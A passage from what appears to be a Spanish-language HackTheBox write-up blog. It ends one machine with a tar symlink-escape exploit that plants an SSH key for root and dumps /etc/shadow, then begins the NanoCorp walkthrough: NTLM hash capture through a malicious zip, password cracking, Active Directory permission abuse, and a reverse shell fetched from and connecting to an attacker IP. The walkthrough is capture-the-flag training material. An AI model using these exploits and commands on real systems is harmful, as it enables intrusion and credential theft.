        a = tarfile.TarInfo(os.path.join(path, comp))
        a.type = tarfile.DIRTYPE
        tar.addfile(a)
        b = tarfile.TarInfo(os.path.join(path, i))
        b.type = tarfile.SYMTYPE
        b.linkname = comp
        tar.addfile(b)
        path = os.path.join(path, comp)
    # create the final symlink that exceeds PATH_MAX and simply points to the
    # top dir. this allows *any* path to be appended.
    # this link will never be expanded by os.path.realpath(), nor anything after it.
    linkpath = os.path.join("/".join(steps), "l"*254)
    l = tarfile.TarInfo(linkpath)
    l.type = tarfile.SYMTYPE
    l.linkname = ("../" * len(steps))
    tar.addfile(l)

    # make a symlink outside to keep the tar command happy
    e = tarfile.TarInfo("escape")
    e.type = tarfile.SYMTYPE
    e.linkname = linkpath + "/../../../../../../root"
    tar.addfile(e)

    # use the symlinks above, that are not checked, to create a hardlink
    # to a file outside of the destination path
    f = tarfile.TarInfo("flaglink")
    f.type = tarfile.LNKTYPE
    f.linkname =  "escape/.ssh"
    tar.addfile(f)

    # now that we have the hardlink we can overwrite the file
    with open("/home/wacky/.ssh/id_rsa.pub", "rb") as f:
        pub_key = f.read().strip() + b"\n"
    
    c = tarfile.TarInfo("escape/.ssh/authorized_keys")
    c.type = tarfile.REGTYPE
    c.size = len(pub_key)
    tar.addfile(c, fileobj=io.BytesIO(pub_key))

Generamos una clave ssh para wacky.

# generate ssh key for wacky
wacky@wingdata:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/wacky/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/wacky/.ssh/id_rsa
Your public key has been saved in /home/wacky/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:ZUHF1CDzoDzS63mBQb2eW5N2JJdlnDhQ7X4wTh1Y4HE wacky@wingdata
The key's randomart image is:
+---[RSA 3072]----+
|        .o*=***E.|
|       + ..*o++++|
|      . * o...o=.|
|       . B. . B..|
|        S... B.o |
|       . .o.= o..|
|        o .+ o  .|
|         ..      |
|                 |
+----[SHA256]-----+
wacky@wingdata:~$

Tras ejecutar el exploit este crearia el archivo backup_1001.tar. Ejecutamos el script especificando el archivo tar.

wacky@wingdata:~$ python3 /tmp/exploit.py 
wacky@wingdata:~$ sudo python3 /opt/backup_clients/restore_backup_clients.py -b backup_1001.tar -r restore_root
[+] Backup: backup_1001.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_root
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_root
wacky@wingdata:~$

Con ello se agregaria nuestra clave publica a /root/.ssh/authorized_keys. Ejecutamos ssh para root logrando el acceso a este usuario y la flag root.txt.

wacky@wingdata:~$ ssh root@localhost
Linux wingdata 6.1.0-42-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.159-1 (2025-12-30) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Feb 14 19:22:20 2026 from ::1
root@wingdata:~# whoami;id;pwd
root
uid=0(root) gid=0(root) groups=0(root)
/root
root@wingdata:~# cat root.txt 
44ee56770ec1725eaf75e7a92d10f0d0
root@wingdata:~#

Dump Hashes

Realizamos la lectura del archivo /etc/shadow.

root@wingdata:~# cat /etc/shadow
root:$y$j9T$o4QbpI9MXymg8tQSz73eq0$c1P1OfnBDpSlaHX8xmPTekraDfdl8gj5Xtghz.E5V3A:20394:0:99999:7:::
daemon:*:20394:0:99999:7:::
bin:*:20394:0:99999:7:::
sys:*:20394:0:99999:7:::
sync:*:20394:0:99999:7:::
games:*:20394:0:99999:7:::
man:*:20394:0:99999:7:::
lp:*:20394:0:99999:7:::
mail:*:20394:0:99999:7:::
news:*:20394:0:99999:7:::
uucp:*:20394:0:99999:7:::
proxy:*:20394:0:99999:7:::
www-data:*:20394:0:99999:7:::
backup:*:20394:0:99999:7:::
list:*:20394:0:99999:7:::
irc:*:20394:0:99999:7:::
_apt:*:20394:0:99999:7:::
nobody:*:20394:0:99999:7:::
systemd-network:!*:20394::::::
systemd-timesync:!*:20394::::::
messagebus:!:20394::::::
sshd:!:20394::::::
wingftp:$y$j9T$s62DxCZf.Aqw9qUCF7Fk10$BcBVlkDD7Rm3kpB.jyIWh9o0GvF.cmke6npe25ZnVv1:20394:0:99999:7:::
wacky:$y$j9T$kF5P9XjuPO85qZb/h5hff1$oiwH5i/tHgA4u2FBN/OJJtUO.UMzhfQckEycEPAdQM0:20395:0:99999:7:::
_laurel:!:20475::::::
root@wingdata:~#

HackTheBox - NanoCorp

sckull — Sat, 20 Jun 2026 00:00:00 +0000

En NanoCorp se capturo el hash de un primer usuario con la carga de un archivo zip malicioso. Tras crackear el hash, se realizo una enumeracion de Active Directory con bloodhound, esto permitio identificar una ruta de explotacion para un segundo usuario. Se descubrio Check MK y una vulnerabilidad que afectaba a este software. Esta vulnerabilidad era explotable por el primer usuario por lo que se ejecuto RunasCs para obtener una shell inversa y, finalmente, tras su explotacion, se logro escalar privilegios.

Nombre	NanoCorp
OS	Windows
Puntos	40
Dificultad	Hard
Fecha de Salida	2025-11-08
IP	10.10.11.93
Maker	EmSec
Rated	{ "type": "bar", "data": { "labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"], "datasets": [{ "label": "User Rated Difficulty", "data": [123, 49, 280, 344, 532, 338, 505, 196, 63, 71], "backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"] }] }, "options": { "scales": { "xAxes": [{"display": false}], "yAxes": [{"display": false}] }, "legend": {"labels": {"fontColor": "white"}}, "responsive": true } }

Recon

nmap

nmap muestra multiples puertos abiertos: dns (53), kerberos (88), ldap (389), smb (445), winrm (5986).

# Nmap 7.95 scan initiated Sat Nov  8 14:54:07 2025 as: /usr/lib/nmap/nmap --privileged -p53,80,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49664,49667,55897,62722,62726,62747 -sV -sC -oN nmap_scan 10.10.11.93
Nmap scan report for 10.10.11.93
Host is up (0.066s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        (generic dns response: SERVFAIL)
| fingerprint-strings: 
|   DNS-SD-TCP: 
|     _services
|     _dns-sd
|     _udp
|_    local
80/tcp    open  http          Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.2.12)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
|_http-title: Did not follow redirect to http://nanocorp.htb/
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-11-09 03:54:15Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: nanocorp.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.nanocorp.htb
| Subject Alternative Name: DNS:dc01.nanocorp.htb
| Not valid before: 2025-04-06T22:58:43
|_Not valid after:  2026-04-06T23:18:43
| tls-alpn: 
|_  http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
55897/tcp open  msrpc         Microsoft Windows RPC
62722/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
62726/tcp open  msrpc         Microsoft Windows RPC
62747/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.95%I=7%D=11/8%Time=690FAE05%P=x86_64-pc-linux-gnu%r(DNS-
SF:SD-TCP,30,"\0\.\0\0\x80\x82\0\x01\0\0\0\0\0\0\t_services\x07_dns-sd\x04
SF:_udp\x05local\0\0\x0c\0\x01");
Service Info: Hosts: nanocorp.htb, DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-11-09T03:55:09
|_  start_date: N/A
|_clock-skew: 7h00m01s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov  8 14:55:47 2025 -- 1 IP address (1 host up) scanned in 99.70 seconds

Agregamos a nuestro archivo /etc/hosts: nanocorp.htb, dc01.nanocorp.htb.

Web Site

Los headers del sitio muestran un servidor Apache y PHP 8.2.12.

❯ curl -sI nanocorp.htb
HTTP/1.1 200 OK
Date: Sun, 09 Nov 2025 03:56:33 GMT
Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
Last-Modified: Thu, 10 Apr 2025 06:27:08 GMT
ETag: "3f54-63266acdf17c3"
Accept-Ranges: bytes
Content-Length: 16212
Content-Type: text/html

❯

El sitio presenta una plantilla ‘corporativa’.

‘About us’ muestra un enlace para aplicar a posiciones laborales, muestra un subdominio hire.nanocorp.htb.

Directory Brute Forcing

feroxbuster muestra en el dominio unicamente contenido estatico.

❯ feroxbuster -u http://nanocorp.htb/ -w $CM
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.12.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://nanocorp.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.12.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       33w      298c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       30w      301c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       31l      253w    20439c http://nanocorp.htb/img/gallery-img-04-tn.jpg
200      GET       68l      298w    22111c http://nanocorp.htb/img/gallery-img-03-tn.jpg
200      GET      119l      179w     1776c http://nanocorp.htb/slick/slick.css
200      GET      221l      482w     6916c http://nanocorp.htb/js/main.js
200      GET       55l      246w    19495c http://nanocorp.htb/img/welcome-2.jpg
200      GET       13l       47w     5217c http://nanocorp.htb/img/welcome-1.jpg
200      GET      204l      307w     3145c http://nanocorp.htb/slick/slick-theme.css
200      GET       33l      353w    14420c http://nanocorp.htb/js/anime.min.js
200      GET        7l       49w     1227c http://nanocorp.htb/img/underline.png
200      GET       45l      246w    20681c http://nanocorp.htb/img/gallery-img-02-tn.jpg
200      GET      418l      699w     6148c http://nanocorp.htb/css/tooplate-style.css
200      GET       35l      239w    18731c http://nanocorp.htb/img/team.jpg
200      GET       32l      234w    19924c http://nanocorp.htb/img/gallery-img-01-tn.jpg
200      GET       32l      234w    19924c http://nanocorp.htb/img/gallery-img-05-tn.jpg
200      GET       47l      296w    26625c http://nanocorp.htb/img/gallery-img-06-tn.jpg
200      GET        5l       82w    33813c http://nanocorp.htb/fontawesome/css/fontawesome-all.min.css
200      GET      229l      670w    16212c http://nanocorp.htb/index.html
200      GET        1l      248w    42863c http://nanocorp.htb/slick/slick.min.js
200      GET        4l     1058w    69597c http://nanocorp.htb/js/jquery-3.2.1.slim.min.js
200      GET        7l     1516w   142181c http://nanocorp.htb/css/bootstrap.min.css
200      GET      229l      670w    16212c http://nanocorp.htb/
200      GET       12l       40w     8171c http://nanocorp.htb/img/Thumbs.db
200      GET      100l      178w     1756c http://nanocorp.htb/slick/slick.less
200      GET      100l      178w     1756c http://nanocorp.htb/slick/slick.scss
200      GET       61l      243w     6704c http://nanocorp.htb/slick/ajax-loader.gif
200      GET      194l      396w     4758c http://nanocorp.htb/slick/slick-theme.scss
200      GET      168l      324w     4181c http://nanocorp.htb/slick/slick-theme.less
200      GET       10l       24w      161c http://nanocorp.htb/slick/config.rb
200      GET       43l      334w    25834c http://nanocorp.htb/fontawesome/webfonts/fa-regular-400.woff
200      GET        7l       50w     2083c http://nanocorp.htb/slick/fonts/slick.ttf
200      GET       14l      328w     2152c http://nanocorp.htb/slick/fonts/slick.svg
200      GET        7l       38w     2217c http://nanocorp.htb/slick/fonts/slick.woff
200      GET        9l       55w     2247c http://nanocorp.htb/slick/fonts/slick.eot
200      GET      147l      867w    66659c http://nanocorp.htb/fontawesome/webfonts/fa-solid-900.woff2
200      GET      246l     1430w   113581c http://nanocorp.htb/fontawesome/webfonts/fa-brands-400.woff
200      GET     3004l     6913w    88454c http://nanocorp.htb/slick/slick.js
200      GET     1309l     5507w   109214c http://nanocorp.htb/fontawesome/webfonts/fa-brands-400.eot
200      GET     1309l     5499w   108970c http://nanocorp.htb/fontawesome/webfonts/fa-brands-400.ttf
200      GET      356l     1359w    35470c http://nanocorp.htb/fontawesome/webfonts/fa-regular-400.ttf
200      GET     1943l     5154w   113981c http://nanocorp.htb/fontawesome/webfonts/fa-solid-900.ttf
200      GET      161l     1011w    83920c http://nanocorp.htb/fontawesome/webfonts/fa-solid-900.woff
200      GET     1819l    10720w   864248c http://nanocorp.htb/img/pop-bg.jpg
200      GET     1944l     5163w   114204c http://nanocorp.htb/fontawesome/webfonts/fa-solid-900.eot
200      GET      224l     1206w    97742c http://nanocorp.htb/fontawesome/webfonts/fa-brands-400.woff2
200      GET       54l      296w    22164c http://nanocorp.htb/fontawesome/webfonts/fa-regular-400.woff2
200      GET      356l     1367w    35704c http://nanocorp.htb/fontawesome/webfonts/fa-regular-400.eot
200      GET      363l    12407w   106698c http://nanocorp.htb/fontawesome/webfonts/fa-regular-400.svg
200      GET     1413l    41226w   361397c http://nanocorp.htb/fontawesome/webfonts/fa-solid-900.svg
301      GET        9l       30w      334c http://nanocorp.htb/css => http://nanocorp.htb/css/
200      GET      990l    48097w   504454c http://nanocorp.htb/fontawesome/webfonts/fa-brands-400.svg
301      GET        9l       30w      334c http://nanocorp.htb/img => http://nanocorp.htb/img/
301      GET        9l       30w      333c http://nanocorp.htb/js => http://nanocorp.htb/js/
403      GET       11l       47w      420c http://nanocorp.htb/licenses
503      GET       11l       44w      401c http://nanocorp.htb/examples
403      GET       11l       47w      420c http://nanocorp.htb/server-info
403      GET       11l       47w      420c http://nanocorp.htb/server-status
❯

El archivo .rb no muestra ningun tipo de contenido relevante.

❯ curl http://nanocorp.htb/slick/config.rb
css_dir = "."
sass_dir = "."
images_dir = "."
fonts_dir = "fonts"
relative_assets = true

output_style = :compact
line_comments = false

preferred_syntax = :scss
❯

hire.nanocorp.htb

El subdominio muestra un formulario para el envio de curriculum en un archivo comprimido zip.

Directory Brute Forcing

El subdominio muestra contenido estatico.

❯ feroxbuster -u http://hire.nanocorp.htb/ -w $CM
                                                                                                                                                                                        
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.12.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://hire.nanocorp.htb/
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/common.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.12.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       33w      303c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       30w      306c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301      GET        9l       30w      347c http://hire.nanocorp.htb/assets => http://hire.nanocorp.htb/assets/
200      GET        6l     2304w   232914c http://hire.nanocorp.htb/assets/css/bootstrap.min.css
301      GET        9l       30w      347c http://hire.nanocorp.htb/Images => http://hire.nanocorp.htb/Images/
301      GET        9l       30w      347c http://hire.nanocorp.htb/images => http://hire.nanocorp.htb/images/
200      GET       67l      179w     2520c http://hire.nanocorp.htb/index.html
200      GET       34l      208w    17984c http://hire.nanocorp.htb/Images/nanocorp.jpg
403      GET       11l       47w      425c http://hire.nanocorp.htb/licenses
503      GET       11l       44w      406c http://hire.nanocorp.htb/examples
200      GET       34l      208w    17984c http://hire.nanocorp.htb/images/nanocorp.jpg
200      GET       67l      179w     2520c http://hire.nanocorp.htb/
403      GET       11l       47w      425c http://hire.nanocorp.htb/server-info
403      GET       11l       47w      425c http://hire.nanocorp.htb/server-status
❯

User - web_svc

Creamos un archivo zip simple.

❯ touch file.txt
❯ zip file.zip file.txt
  adding: file.txt (stored 0%)
❯

Tras enviarlo este muestra que sera revisado.

NTLM Hash

Utilizamos hashgrab para generar archivos que nos ayuden a obtener el hash del usuario que esta revisando estos archivos. Creamos archivo zip con estos.

❯ python hashgrab.py 10.10.14.52 "nanocorp"
[*] Generating hash grabbing files..
[*] Written @nanocorp.scf
[*] Written @nanocorp.url
[*] Written nanocorp.library-ms
[*] Written desktop.ini
[*] Written lnk_697.ico
[+] Done, upload files to smb share and capture hashes with smbserver.py/responder
❯ ls
 @nanocorp.scf   @nanocorp.url   desktop.ini   hashgrab.py   nanocorp.library-ms   nanocorp.lnk   nanocorp.scf   nanocorp.url   skel.lnk
❯ zip file.zip @nanocorp.scf @nanocorp.url nanocorp.library-ms desktop.ini skel.lnk
  adding: @nanocorp.scf (deflated 10%)
  adding: @nanocorp.url (deflated 14%)
  adding: nanocorp.library-ms (deflated 50%)
  adding: desktop.ini (deflated 17%)
  adding: skel.lnk (deflated 85%)
❯

Ejecutamos responder, subimos el archivo zip y luego de varios segundos observamos el hash NTLM del usuario web_svc.

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.129.128.79
[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash     : web_svc::NANOCORP:ced6ae74d9d52dd0:4AA2A8088C8B05ECCF4AFF22176250BF:010100000000000080C157A1C350DC010C0CC871BD3F208A000000000200080052004C005600490001001E00570049004E002D004A00300041004F0054004D00500055004B004500460004003400570049004E002D004A00300041004F0054004D00500055004B00450046002E0052004C00560049002E004C004F00430041004C000300140052004C00560049002E004C004F00430041004C000500140052004C00560049002E004C004F00430041004C000700080080C157A1C350DC0106000400020000000800300030000000000000000000000000200000894504F181F54A47CC45481650CD8AD1A0BDFADE757720156D964B0870AD5A2E0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00350032000000000000000000
[*] Skipping previously captured hash for NANOCORP\web_svc
[*] Skipping previously captured hash for NANOCORP\web_svc
[*] Skipping previously captured hash for NANOCORP\web_svc
[*] Skipping previously captured hash for NANOCORP\web_svc
[*] Skipping previously captured hash for NANOCORP\web_svc
[*] Skipping previously captured hash for NANOCORP\web_svc

Cracking the Hash

Ejecutamos john con el wordlist rockyou.txt sobre el archivo de hash.

❯ john hash_web_svc --wordlist=$ROCK
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dksehdgh712!@#   (web_svc)     
1g 0:00:00:00 DONE (2025-11-08 15:56) 1.515g/s 2811Kp/s 2811Kc/s 2811KC/s dobson5499..djcward
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed. 
❯

Bloodhound

Las credenciales son validas por smb y ldap.

❯ netexec smb nanocorp.htb -u web_svc -p 'dksehdgh712!@#'
SMB         10.129.128.79   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:nanocorp.htb) (signing:True) (SMBv1:False) 
SMB         10.129.128.79   445    DC01             [+] nanocorp.htb\web_svc:dksehdgh712!@# 
❯ netexec ldap nanocorp.htb -u web_svc -p 'dksehdgh712!@#'
LDAP        10.129.128.79   389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:nanocorp.htb)
LDAP        10.129.128.79   389    DC01             [+] nanocorp.htb\web_svc:dksehdgh712!@# 
❯

Ejecutamos el modulo de bloodhound de netexec.

❯ netexec ldap nanocorp.htb -u web_svc -p 'dksehdgh712!@#' --bloodhound --collection All --dns-server 10.129.128.79
LDAP        10.129.128.79   389    DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:nanocorp.htb)
LDAP        10.129.128.79   389    DC01             [+] nanocorp.htb\web_svc:dksehdgh712!@# 
LDAP        10.129.128.79   389    DC01             Resolved collection methods: rdp, trusts, container, psremote, localadmin, acl, dcom, objectprops, group, session
LDAP        10.129.128.79   389    DC01             Done in 00M 15S
LDAP        10.129.128.79   389    DC01             Compressing output into /home/kali/.nxc/logs/DC01_10.129.128.79_2025-11-08_155950_bloodhound.zip
❯

Users

En el dominio existen cuatro usuarios.

Web_svc

El usuario web_svc puede agregarse a IT_SUPPORT y cambiar la contrasena a monitoring_svc a traves de este grupo.

Monitoring_svc

Es miembro de Remote Management Users y Protected Users. Esto significa que tiene acceso por WinRM pero con autenticacion Kerberos.

User - Monitoring_svc

Agregamos al usuario web_svc al grupo IT_SUPPORT y cambiamos la contrasena a monitoring_svc con bloodyAD.

❯ bloodyAD -d nanocorp.htb --host 10.129.128.79 -u web_svc -p 'dksehdgh712!@#' add groupMember IT_SUPPORT web_svc
[+] web_svc added to IT_SUPPORT
❯ bloodyAD -d nanocorp.htb --host 10.129.128.79 -u web_svc -p 'dksehdgh712!@#' set password monitoring_svc 'superpas123!@#'
[+] Password changed successfully!
❯

Generamos el archivo krb5.conf con netexec.

❯ netexec smb nanocorp.htb -u web_svc -p 'dksehdgh712!@#' --generate-krb5-file file.krb
SMB         10.129.128.79   445    DC01             [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:nanocorp.htb) (signing:True) (SMBv1:False) 
SMB         10.129.128.79   445    DC01             [+] nanocorp.htb\web_svc:dksehdgh712!@# 
❯ cat file.krb

[libdefaults]
    dns_lookup_kdc = false
    dns_lookup_realm = false
    default_realm = NANOCORP.HTB

[realms]
    NANOCORP.HTB = {
        kdc = dc01.nanocorp.htb
        admin_server = dc01.nanocorp.htb
        default_domain = nanocorp.htb
    }

[domain_realm]
    .nanocorp.htb = NANOCORP.HTB
    nanocorp.htb = NANOCORP.HTB
❯

Ejecutamos impacket-getTGT para obtener un ticket para monitoring_svc con las credenciales que asignamos.

❯ faketime "$(ntpdate -q nanocorp.htb | cut -d ' ' -f 1,2)" impacket-getTGT -dc-ip 10.129.128.79 nanocorp.htb/monitoring_svc:'superpas123!@#'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in monitoring_svc.ccache
❯

Shell

Utilizamos winrmexec especificando el ticket, puerto y el modo ssl logrando obtener una shell y la flag user.txt.

❯ KRB5CCNAME=../files/monitoring_svc.ccache faketime "$(ntpdate -q nanocorp.htb | cut -d ' ' -f 1,2)" python winrmexec.py -port 5986 -ssl -k dc01.nanocorp.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] '-target_ip' not specified, using dc01.nanocorp.htb
[*] '-url' not specified, using https://dc01.nanocorp.htb:5986/wsman
[*] using domain and username from ccache: NANOCORP.HTB\monitoring_svc
[*] '-spn' not specified, using HTTP/dc01.nanocorp.htb@NANOCORP.HTB
[*] '-dc-ip' not specified, using NANOCORP.HTB
[*] requesting TGS for HTTP/dc01.nanocorp.htb@NANOCORP.HTB
PS C:\Users\monitoring_svc\Documents> whoami
nanocorp\monitoring_svc
PS C:\Users\monitoring_svc\Documents> cat ../Desktop/user.txt
90a1d5c219741c4ba65edee64d0df0a5
PS C:\Users\monitoring_svc\Documents>

# Commands
# web_svc to monitoring_svc
bloodyAD -d nanocorp.htb --host 10.129.128.79 -u web_svc -p 'dksehdgh712!@#' add groupMember IT_SUPPORT web_svc
bloodyAD -d nanocorp.htb --host 10.129.128.79 -u web_svc -p 'dksehdgh712!@#' set password monitoring_svc 'superpas124!@#'
faketime "$(ntpdate -q nanocorp.htb | cut -d ' ' -f 1,2)" impacket-getTGT -dc-ip 10.129.128.79 nanocorp.htb/monitoring_svc:'superpas123!@#'
KRB5CCNAME=monitoring_svc.ccache faketime "$(ntpdate -q nanocorp.htb | cut -d ' ' -f 1,2)" python winrmexec.py -port 5986 -ssl -k dc01.nanocorp.htb

User - web_svc

Ejecutamos una shell inversa con RunasCs especificando la credenciales de web_svc.

# Invoke-WebRequest -Uri "http://10.10.14.52/RunasCs.exe" -OutFile "C:/users/monitoring_svc/r.exe"
PS C:\> C:/users/monitoring_svc/r.exe web_svc 'dksehdgh712!@#' powershell.exe -r 10.10.14.52:1335

[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-185b1ff$\Default
[+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 4032 created in background.
PS C:\>

Esto nos da acceso como web_svc.

❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.52] from nanocorp.htb [10.129.128.79] 58360
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Windows\system32> whoami
nanocorp\web_svc
PS C:\Windows\system32>

Encontramos el ScheduledTasks script02.

PS C:\users\web_svc> Get-ScheduledTask | Select-Object TaskName, TaskPath, State | Format-Table -AutoSize

TaskName                                             TaskPath                                                          
--------                                             --------                                                          
script02                                             \                                                                 
StartApacheAsWebSvc                                  \                                                                 
Server Initial Configuration Task                    \Microsoft\Windows\                                               

# [... cut ...]                                     

PS C:\users\web_svc> Get-ScheduledTaskInfo -TaskName script02 


LastRunTime        : 11/8/2025 10:55:55 PM
LastTaskResult     : 0
NextRunTime        : 11/8/2025 10:56:56 PM
NumberOfMissedRuns : 0
TaskName           : script02
TaskPath           : 
PSComputerName     : 



PS C:\users\web_svc> (Get-ScheduledTask -TaskName script02).Actions


Id               : 
Arguments        : -NoProfile -ExecutionPolicy Bypass -File C:\Users\web_svc\Links\script_02.ps1
Execute          : powershell.exe
WorkingDirectory : 
PSComputerName   : 



PS C:\users\web_svc>

Esta ejecuta el script script_02.ps1 en donde observamos el uso de WinRAR para extraer los archivos ZIP que luego son abiertos con explorer.exe.

PS C:\users\web_svc> cat C:\Users\web_svc\Links\script_02.ps1
$uploadPath = "C:\xampp\htdocs\hire\uploads"
$extractTool = "C:\Program Files\WinRAR\WinRAR.exe"

# Get only .zip files
$zipFiles = Get-ChildItem "$uploadPath\*.zip" -File

foreach ($zip in $zipFiles) {
    # Create a random folder name for extraction
    $randomFolder = [System.IO.Path]::Combine($uploadPath, [System.IO.Path]::GetRandomFileName())
    New-Item -Path $randomFolder -ItemType Directory | Out-Null

    # Extract using WinRAR
    & "$extractTool" x -ibck "$($zip.FullName)" "$randomFolder\"

    # Open extracted folder
    $explorer = Start-Process explorer.exe -ArgumentList "`"$randomFolder`"" -PassThru

    # Wait 5 seconds
    Start-Sleep -Seconds 5

    # Kill only the explorer window opened
    try {
        $explorer | Stop-Process -Force
    } catch {
        Write-Host "Explorer already closed or failed to stop."
    }

    # Delete the temp folder
    Remove-Item -Path $randomFolder -Recurse -Force
    Remove-Item -Path $zip.FullName -Force

    Write-Host "Done with: $($zip.Name)`n"
}
PS C:\users\web_svc>

Checkmk

Encontramos checkmk una herramienta de monitoreo. En Program Files (x86) no tenemos permisos de acceso.

PS C:\Program Files (x86)\checkmk> dir -force
dir -force


    Directory: C:\Program Files (x86)\checkmk


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----          4/5/2025   4:42 PM                service                                                              


PS C:\Program Files (x86)\checkmk> icacls service
icacls service
service: Access is denied.
Successfully processed 0 files; Failed processing 1 files
PS C:\Program Files (x86)\checkmk>

Sin embargo en ProgramData logramos el acceso a ciertos archivos. En uno de estos se define el puerto del agente 6556, este esta abierto local y externamente.

PS C:\programdata\checkmk\agent> dir


    Directory: C:\programdata\checkmk\agent


Mode                 LastWriteTime         Length Name                                                                 
----                 -------------         ------ ----                                                                 
d-----          4/5/2025   4:17 PM                backup                                                               
d-----          4/5/2025   4:17 PM                bakery                                                               
d-----         1/16/2026   4:38 AM                bin                                                                  
d-----          4/5/2025   4:17 PM                config                                                               
d-----          4/5/2025   4:17 PM                install                                                              
d-----          4/5/2025   4:17 PM                local                                                                
d-----          4/5/2025   3:03 PM                log                                                                  
d-----          4/5/2025   4:17 PM                modules                                                              
d-----          4/5/2025   4:17 PM                mrpe                                                                 
d-----          4/5/2025   4:17 PM                plugins                                                              
